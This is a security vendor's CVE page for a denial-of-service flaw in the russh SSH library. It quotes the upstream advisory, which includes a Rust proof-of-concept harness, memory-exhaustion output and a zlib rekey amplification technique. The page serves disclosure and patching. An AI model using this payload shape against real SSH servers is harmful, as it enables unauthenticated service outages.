HOL LogoGuard

Explore HOL

  • HOL home
  • AI agent registry
  • AI plugins
  • Open standards
  • HOL members
  • Sponsor HOL
  • Advertise with HOL

Guard product

  • Guard overviewLocal security and control for AI agents and the tools they use.
  • FeaturesRuntime protection, policy routing, review, and evidence.
  • CIGARPoint your coding agent at the right lines and cut its token bill by about a third.

Explore Guard

  • Product previewWalk through Guard surfaces in read-only demo mode.
  • ComparisonCompare Guard with native controls and AI security vendors.

AI tools

  • All AI toolsEvery supported AI tool and how Guard applies policy to it.
  • Codex
  • Claude Code
  • Cursor
  • Antigravity CLI
  • OpenCode
  • Hermes
  • OpenClaw
  • GitHub Copilot CLI
  • Antigravity
  • Kimi
  • Grok
  • Pi / Oh My Pi
  • Zcode

Extensions

  • All extensionsBrowse command and MCP coverage with owners and stated limits.
  • Command coverageShell command protection across clouds, databases, backups, and packages.
  • MCP server coverageSee how Guard maps risk state across MCP tools and servers.
  • Core safetyThe safety floor listings that ship with Guard.
  • Data and resilienceBackup and storage command protection.
  • Cloud and infrastructureAWS, Azure, GCP, Kubernetes, and more.

Security

  • AI security hubSecurity research, advisories, and agent safety coverage.
  • AI tool securitySecurity profiles for each supported coding agent.
  • Safe labsHands-on attack simulations with safe boundaries.
  • Redacted warningsReal blocked actions with sensitive details removed.
  • AdvisoriesCoordinated disclosure reports for AI tooling.
  • Active CVEsSearch active CVEs affecting AI tooling.

Learn

  • Security guidesPractical guides for securing AI agent workflows.
  • DocsInstall, configure, and operate Guard with confidence.
  • ResearchPublished security research, benchmarks, and methodology.
  • Gauntlet benchmarkGuard tested with real coding agents: safe work runs, risky actions stop.

Community

  • ReleasesVersion history, shipped changes and upgrade notes.
  • ContributorsThe people and contributions behind HOL Guard.
  • AffiliatesShare Guard with your audience and earn from referrals.
  • SponsorFund agreed research, implementation and shared testing through the HOL Partner Program.
  • AdvertiseCompare README logo placements, previews and monthly prices, or promote a plugin or extension.
PricingEnterpriseOpen AppInstall Guard
  1. Guard
  2. Security
  3. CVEs
  4. CVE 2026 48110 russh ssh message fields were decoded through
HOL Guard

Public security guidance for teams protecting AI harnesses, MCP servers, skills, prompts, and local tool execution.

Install Guard

AI Security

  • Prompt injection
  • MCP security
  • OWASP MCP mapping
  • Supply chain

Resources

  • Trust packet
  • Harness setup
  • Redacted warnings
  • Safe labs

Product

  • Install Guard
  • Pricing
  • Open dashboard

Get HOL Guard for your computer

HOL Guard is a free desktop app that watches what coding agents such as Claude Code, Codex and Cursor run, read and install, and asks you before anything risky happens.

  • Download for macOS
  • Windows download
  • Linux download

Free. macOS 13+ on Apple silicon, Windows x64, Linux AppImage. Other ways to install

Star HOL Guard on GitHub to download
Runs on
macOS 13 or later on Apple silicon, Windows x64 and Linux x86_64.
Price
Free. Paid plans add Guard Cloud for teams. See pricing
Where your data stays
On your computer. Guard Cloud is optional.
Token savings
33% to 38% lower spend across three coding agents in our CIGAR benchmark.

HOL

HOL builds open infrastructure for AI agents: HOL Guard, a directory of AI plugins and MCP servers, an AI agent registry and the open HCS standards.

  • GitHub (opens in a new tab)
  • X (Twitter) (opens in a new tab)
  • YouTube (opens in a new tab)
  • Telegram (opens in a new tab)

HOL Guard

  • What is HOL Guard
  • Features
  • Cut coding agent token costs (CIGAR)
  • Install Guard
  • Download the desktop app
  • Pricing
  • Guard for teams
  • Compare Guard
  • Release notes

Guard for your AI tool

  • Guard for Claude Code
  • Guard for Codex
  • Guard for Cursor
  • Guard for GitHub Copilot CLI
  • Guard for OpenCode
  • Guard for Pi and Oh My Pi
  • Guard for Hermes
  • Guard for OpenClaw
  • All supported AI tools

Research and security

  • Gauntlet: Guard tested with real agents
  • CIGAR token benchmark
  • Research
  • AI security hub
  • Security advisories
  • Active CVEs in AI tools
  • AI agent security guides
  • Extensions and coverage

Plugins and MCP servers

  • Browse AI plugins
  • New plugin launches
  • Best Claude Plugins
  • Best Codex Plugins
  • Best Grok Plugins
  • Best Kimi Plugins
  • Best DeepSeek Plugins
  • Best Antigravity Plugins
  • Best MCP Servers
  • Best Cursor Plugins
  • Best OpenCode Plugins

AI agent registry

  • Best AI agents
  • Best ERC-8004 agents
  • Best Virtuals agents
  • Best A2A agents
  • Best x402 payable agents
  • Submit an ERC-8004 contract
  • Feature your agent

Developers

  • Guard docs
  • Documentation index
  • Developer hub
  • Registry API reference
  • OpenAPI spec
  • Registry OpenAPI spec
  • Run in Postman (opens in a new tab)
  • HCS standards

Company

  • About HOL
  • Blog
  • Contribute to HOL
  • Guard contributors
  • Sponsor
  • Advertise
  • Affiliate program
  • Contact

Copyright ยฉ 2026 HOL DAO LLC. All rights reserved.

  • Privacy
  • Terms of Service
Back to active CVEs
High ยท CVSS 7.5CVE-2026-48110GHSA-4R3C-5HPG-58QR

Russh SSH message fields were decoded through allocation-first parsers before field-specific boundsCVE-2026-48110

Answer in brief

CVE-2026-48110 records a High severity (CVSS 7.5) vulnerability in Russh SSH message fields were decoded through allocation-first parsers before field-specific bounds. The current sources do not mark it as known exploited. The current feed maps russh (crates.io). Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Jun 11, 2026Updated Nov 12, 2026Source checked Nov 12, 2026First seen by HOL Nov 12, 2026Material review Nov 12, 2026
Upstream Advisory

Record context

Vulnerability class
Missing Auth
EPSS
Not reported
CWE IDs
Not reported
Source
OSV
Source checked
Nov 12, 2026
References
7 linked sources
Open source record

Key facts

Risk
High ยท CVSS 7.5
Exploitation
Not marked as known exploited
Affected software
1 mapped package or product
Fix availability
Available

Why this deserves its current priority

CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps russh (crates.io). Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
PackageAffected rangeFixed version
russhcrates.io>=0.34.0 <0.61.00.61.0

Recommended response

  1. 1Check inventory. Check lockfiles and deployed manifests for russh.
  2. 2Review the reported fix. Update russh to 0.61.0 if you use the affected versions. Test the change in a non-production environment first.

Evidence timeline and material changes

  1. Published upstream

    Jun 11, 2026

    Evidence: source:osv:source_dates:source-dates:record
  2. Source modified

    Nov 12, 2026

    Evidence: source:osv:source_dates:source-dates:record
  3. First seen by HOL

    Nov 12, 2026

Sources and claim methodology

  • Source referencecrates.io
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • GitHub security advisorygithub.com
  • NVD vulnerability recordnvd.nist.gov
  • Source referencerustsec.org
Upstream source description

# SSH message fields were decoded through allocation-first parsers before field-specific bounds ### Summary Several `russh` client and server message handlers decoded attacker-controlled SSH strings, name-lists, and byte fields into owned allocations before applying field-specific bounds. A remote SSH peer could send oversized, high-fanout, or malformed length-prefixed fields and make the library allocate, attempt to allocate, or split data before rejecting input that should have been rejected earlier. ### Affected Versions Oldest verified exploitable stable release: `russh 0.34.0`. - Historical stronger case: `russh >= 0.34.0, < 0.58.0`. These releases have the allocation-first KEXINIT field parsing issue and still use `CryptoVec` for inbound packet/decompression buffers. A peer can combine negotiated RFC `zlib`, rekey, compressed KEXINIT expansion, historical `CryptoVec` decompression growth, and KEXINIT name-list fanout. - Current maintained-line case: `russh >= 0.58.0`, including `0.60.2`. These releases moved non-secret packet/decompression buffers off `CryptoVec`, but the allocation-first SSH field parser issue remains reachable as a `Vec`/`String`/name-list resource exhaustion issue. Prerelease coverage was not claimed for the zlib/`CryptoVec`/KEXINIT combo because the combined historical exploit shape was verified against stable `v0.34.0`-era code and reproduced the stress behavior on `v0.57.1`. ### Details The affected parser pattern appeared across the SSH transport and encrypted-message parser code: - KEX negotiation parsing - client encrypted-message parsing - server encrypted-message parsing - shared SSH parsing helpers Examples of allocation-first field parsing covered by the fix include: - KEXINIT name-lists - client `USERAUTH_FAILURE` method lists - client `USERAUTH_BANNER` text fields - client `USERAUTH_PK_OK` fields - client `EXT_INFO` extension fields - server `SERVICE_REQUEST` names - server `USERAUTH_REQUEST` header fields - server password/publickey/keyboard-interactive auth fields, excluding the already-submitted prompt-count issue - server and client channel/global request names - server pty, x11, env, exec, subsystem, signal, and forwarding request fields - channel-open-failure description and language fields Before the fix, these handlers generally used `ssh_encoding::Decode` into `String`, `Bytes`, `Vec`, or `NameList` first, then validated semantics later. For length-prefixed SSH fields, that means the owned decoder can accept an attacker-controlled length prefix and allocate or attempt allocation before discovering that the packet is truncated or above a local field bound. The fix introduces borrowed bounded parsing helpers such as `take_str`, `take_bytes`, and `take_name_list`. ### RFC / OpenSSH Comparison RFC 4251 section 5 defines SSH `string` and `name-list` encodings. RFC 4253 and RFC 4254 then use those encodings throughout KEX, auth, channel, and forwarding messages. The RFC encoding permits large length prefixes, so implementations need local bounds appropriate to their packet and parser model. RFC 4251 also says each name inside a `name-list` is non-empty, cannot contain a comma, and is made of US-ASCII names. RFC 4253 section 7.1 requires the algorithm name-lists in `SSH_MSG_KEXINIT` to contain at least one algorithm name, while language name-lists may be empty. OpenSSH portable commonly parses SSH fields with packet-buffer helpers and then immediately checks message completion: - `openssh-portable`: `kex.c`: `kex_input_kexinit()` / `kex_buf2prop()` - `openssh-portable`: `auth2.c`: `USERAUTH_REQUEST` header parsing - `openssh-portable`: `sshconnect2.c`: client auth reply parsing - `openssh-portable`: `serverloop.c`: global and channel-open parsing - `openssh-portable`: `session.c`: channel request parsing - `openssh-portable`: `packet.c`: `sshpkt_get_cstring()`, `sshpkt_get_string()`, `sshpkt_get_end()` `openssh-portable` was checked at `45b30e0a5`. OpenSSH generally gets its size safety from the already-bounded packet buffer and `sshbuf` helpers; it does not always avoid allocating a copied field. The `russh` patch is stricter in Rust-specific shape by using borrowed bounded helpers where practical, but the protocol alignment is the same: reject oversized or malformed name-lists/strings within a bounded packet parser. ### PoC Inline availability stress PoC: an unauthenticated client sends concurrent `SSH_MSG_KEXINIT` payloads with a large but packet-sized first name-list containing many small algorithm names. This reaches the server-side initial key-exchange parser before user authentication and drives allocation-heavy owned decoding and name-list splitting. In a local direct-parser stress harness, 512 concurrent connection-equivalent parser workers parsing this payload eight times each raised process memory from about 4 MiB RSS to about 4.45 GiB RSS: ```text threads=512 iterations_per_thread=8 total_iterations=4096 payload_bytes=262103 errors=0 elapsed_ms=5880 VmRSS: 4056 KiB -> 4661032 KiB VmHWM: 4056 KiB -> 4674200 KiB ``` That concurrency level is material: the multi-GiB result required 512 simultaneous connection-equivalent parser contexts and about 1.02 GiB of total input across the run. The harness exercises the vulnerable pre-auth KEXINIT parser directly rather than opening real sockets, but the parsed bytes are ordinary SSH KEXINIT payload bytes reachable from a remote unauthenticated SSH peer. Historical pre-`0.58.0` amplification note: before `0.58.0`, inbound packet and decompression buffers still used `CryptoVec`. To get the stronger historical growth, the peer must negotiate RFC `zlib` compression, complete the first key exchange, and then send a compressed rekey `SSH_MSG_KEXINIT` carrying the same high-fanout name-list shape. In a `v0.57.1` harness, a 652-byte compressed rekey KEXINIT inflated to a 600,103-byte KEXINIT payload, grew the historical `CryptoVec` decompression output, and then entered the same allocation-heavy KEXINIT name-list parser: ```text threads=512 iterations_per_thread=2 total_iterations=1024 decompressed_payload_bytes=600103 compressed_payload_bytes=652 errors=0 elapsed_ms=5606 VmRSS: 5268 KiB -> 1464624 KiB VmHWM: 5268 KiB -> 7014560 KiB ``` The constrained-memory result is useful because it shows where this becomes a service-killing failure rather than only elevated RSS. With the same historical code path, a roughly 1 KiB compressed rekey KEXINIT can force `CryptoVec` decompression growth into the parser fanout. Under an address-space limit, the process aborted on allocator failure while trying to satisfy one of the intermediate growth allocations: ```text memory allocation of 262144 bytes failed ``` That historical result combines the field-parser issue in this report with the pre-`0.58.0` `CryptoVec` allocation/growth behavior. The important maintainer takeaway is the amplification shape: very small compressed rekey packets can create much larger historical `CryptoVec` buffers and then immediately feed the unbounded KEXINIT name-list parser. It is included here to explain historical severity and exploit shape; the separate CryptoVec advisory covers the underlying `CryptoVec` allocation/growth bug itself. ```rust #[test] fn stress_kexinit_many_names_many_connections() { use std::borrow::Cow; use std::sync::Arc; use byteorder::{BigEndian, ByteOrder}; use ssh_key::Algorithm; use crate::negotiation::{Preferred, Select, Server}; use crate::{cipher, compression, kex, mac, msg}; fn no_crypto_preferred() -> Preferred { Preferred { kex: Cow::Owned(vec![kex::NONE]), key: Cow::Owned(vec![Algorithm::Ed25519]), cipher: Cow::Owned(vec![cipher::NONE]), mac: Cow::Owned(vec![mac::NONE]), compression: Cow::Owned(vec![compression::NONE]), } } fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { let mut len = [0; 4]; BigEndian::write_u32(&mut len, value.len() as u32); buf.extend_from_slice(&len); buf.extend_from_slice(value); } fn kexinit_with_kex_list(kex_list: &str) -> Vec<u8> { let mut payload = Vec::new(); payload.push(msg::KEXINIT); payload.extend_from_slice(&[0; 16]); encode_string(&mut payload, kex_list.as_bytes()); encode_string(&mut payload, b"ssh-ed25519"); encode_string(&mut payload, b"none"); encode_string(&mut payload, b"none"); encode_string(&mut payload, b"none"); encode_string(&mut payload, b"none"); encode_string(&mut payload, b"none"); encode_string(&mut payload, b"none"); encode_string(&mut payload, b""); encode_string(&mut payload, b""); payload.push(0); payload.extend_from_slice(&[0; 4]); payload } fn memory_status() -> (Option<usize>, Option<usize>) { let Ok(status) = std::fs::read_to_string("/proc/self/status") else { return (None, None); }; let mut rss = None; let mut hwm = None; for line in status.lines() { if let Some(value) = line.strip_prefix("VmRSS:") { rss = value .split_whitespace() .next() .and_then(|value| value.parse().ok()); } else if let Some(value) = line.strip_prefix("VmHWM:") { hwm = value .split_whitespace() .next() .and_then(|value| value.parse().ok()); } } (rss, hwm) } const THREADS: usize = 512; const ITERATIONS_PER_THREAD: usize = 8; let payload = Arc::new(kexinit_with_kex_list( &("none,".to_owned() + &"a,".repeat(131_000) + "a"), )); let preferred = Arc::new(no_crypto_preferred()); let barrier = Arc::new(std::sync::Barrier::new(THREADS + 1)); let before = memory_status(); let start = std::time::Instant::now(); let mut threads = Vec::new(); for _ in 0..THREADS { let payload = payload.clone(); let preferred = preferred.clone(); let barrier = barrier.clone(); threads.push(std::thread::spawn(move || { barrier.wait(); let mut errors = 0usize; for _ in 0..ITERATIONS_PER_THREAD { if Server::read_kex(&payload, &preferred, None, &kex::KexCause::Initial).is_err() { errors += 1; } } errors })); } barrier.wait(); let errors: usize = threads .into_iter() .map(|thread| thread.join().expect("thread")) .sum(); let after = memory_status(); eprintln!( "threads={THREADS} per_thread={ITERATIONS_PER_THREAD} total_iterations={} payload_bytes={} errors={errors} elapsed_ms={} memory_before={before:?} memory_after={after:?}", THREADS * ITERATIONS_PER_THREAD, payload.len(), start.elapsed().as_millis() ); } ``` On vulnerable code, this stress harness completed without parser errors and produced the multi-GiB RSS result above. With the fix applied, the same payload is rejected by `take_name_list()` against the local name-list bound before allocation-heavy parsing or name-list splitting. I also checked a smaller regression form where the first KEXINIT name-list length prefix is `1_048_575` but the body is absent. On vulnerable code, that test is red with `Err(SshEncoding(Length))` instead of `Err(Error::PacketSize(_))`: the owned decoder has already accepted the attacker-controlled name-list length prefix and only fails after trying to read the absent body. With the fix applied, `take_name_list()` reads the length prefix, rejects it against the local maximum, and returns `PacketSize` before allocation-heavy parsing or name-list splitting. The extreme `u32::MAX` length prefix was checked as a local, uncommitted experiment. In the current dependency set, `ssh_encoding` rejects that value as `Overflow` because its `usize` length decoder has an internal `1_048_575` byte cap. The smaller regression form therefore uses `1_048_575`, the maximum accepted prefix value, rather than keeping a 4 GiB allocation attempt in the test suite. This demonstrates the highest-CVSS reachability for this class: a remote unauthenticated client reaches a server-side parser with a large SSH `name-list` during initial key exchange. That supports `AV:N/AC:L/PR:N/UI:N`. The `SERVICE_REQUEST` variant was checked after key exchange but before user authentication. It has the same allocation-first shape with a tiny packet containing only `SSH_MSG_SERVICE_REQUEST` plus a `1_048_575` length prefix, and the vulnerable code returns `Err(SshEncoding(Length))` rather than `PacketSize`. This is supporting evidence for the parser class, but the strongest availability evidence is the KEXINIT name-list fanout PoC above: 512 concurrent pre-auth parser contexts with 262,103-byte KEXINIT payloads drove process RSS from about 4 MiB to about 4.45 GiB. ### Impact Suggested CVSS v3.1: - `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` - Score: `7.5` Reasoning: - `AV:N`: reachable from a remote SSH peer - `AC:L`: requires only attacker-controlled SSH fields with large or malformed length-prefixed values - `PR:N`: some affected server-side paths are pre-authentication - `UI:N`: no user interaction is required - `C:N`, `I:N`: no confidentiality or integrity impact demonstrated - `A:H`: 512 concurrent pre-auth KEXINIT parser contexts with large name-lists drove process RSS above 4 GiB in the direct parser harness, demonstrating a credible service-availability impact under high concurrency Historical note for releases before `0.58.0`: the same high-fanout KEXINIT shape can be combined with negotiated RFC `zlib` and rekey to reduce wire cost dramatically and drive the old `CryptoVec` decompression output before the field parser runs. That supports keeping availability at `A:H` for the historical range as well, with an even stronger resource-amplification story. The demonstrated impact remains availability; no confidentiality, integrity, or RCE impact was demonstrated. ### Fix / Patch Direction Use bounded borrowed parsing helpers for attacker-controlled SSH strings, byte fields, and name-lists before constructing owned values or invoking handlers. The fix uses: - `take_bytes` - `take_str` - `take_name_list`

Quoted source text, attributed separately from HOL analysis.